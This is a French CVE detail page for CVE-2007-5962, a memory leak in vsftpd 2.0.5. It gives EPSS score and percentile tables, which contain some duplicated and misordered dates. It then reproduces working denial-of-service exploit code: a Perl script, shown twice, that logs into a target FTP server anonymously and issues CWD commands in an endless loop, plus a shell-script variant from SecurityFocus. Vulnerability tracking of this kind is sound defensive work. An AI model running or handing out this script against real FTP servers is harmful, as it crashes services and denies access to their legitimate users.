CVE-2007-5962 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	10.95%	–
2023-05-28	–	–	–	5.98%	–
2023-08-20	–	–	–	5.98%	–
2024-01-07	–	–	–	5.69%	–
2024-06-02	–	–	–	5.69%	–
2024-10-13	–	–	–	5.69%	–
2024-12-22	–	–	–	5.18%	–
2025-01-12	–	–	–	5.07%	–
2025-02-16	–	–	–	5.94%	–
2025-03-09	–	–	–	5.94%	–
2025-01-19	–	–	–	5.07%	–
2025-02-16	–	–	–	5.94%	–
2025-03-09	–	–	–	5.94%	–
2025-03-18	–	–	–	–	17.79%
2025-03-30	–	–	–	–	18.01%
2025-03-30	–	–	–	–	18.01,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	94%
2023-05-28	92%
2023-08-20	93%
2024-01-07	93%
2024-06-02	93%
2024-10-13	94%
2024-12-22	93%
2025-01-12	93%
2025-02-16	93%
2025-03-09	94%
2025-01-19	93%
2025-02-16	93%
2025-03-09	94%
2025-03-18	95%
2025-03-30	95%
2025-03-30	95%

#!/usr/bin/perl -w ####################################################################################### # vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8, # Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability. # # Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration # option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed. # # I tried to modify local exploit found at securityfocus such that we can remotely exloit # # Author shall not bear any responsibility # Author: Praveen Darshanam # Email: praveen[underscore]recker[at]sify.com # Date: 07th June, 2008 # # ######################################################################################## use Net::FTP; $ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n"; $ftp -> login("anonymous","anonymous") || die "Could not Login...Retry"; while(1) { #this loop runs infinitely $ftp -> cwd(); } $ftp->quit; # milw0rm.com [2008-06-14]

source: https://www.securityfocus.com/bid/29322/info The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory. Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users. # echo deny_file=foo >> /etc/vsftpd/vsftpd.conf # service vsftpd restart $ cat > memtest.sh <<EOF EOF #!/bin/bash echo USER anonymous echo PASS foo@bar.com while [ 1 ]; do echo CWD pub echo CWD .. done EOF

source: https://www.securityfocus.com/bid/29322/info The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory. Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users. #!/usr/bin/perl -w ####################################################################################### #vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8, #Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability. # #Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration #option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed. # #I tried to modify local exploit found at securityfocus such that we can remotely exloit # # Author shall not bear any responsibility #Author:Praveen Darshanam #Email:praveen[underscore]recker[at]sify.com #Date:07th June, 2008 # # ######################################################################################## use Net::FTP; $ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n"; $ftp -> login("anonymous","anonymous") || die "Could not Login...Retry"; while(1) { #this loop runs infinitely $ftp -> cwd(); } $ftp->quit;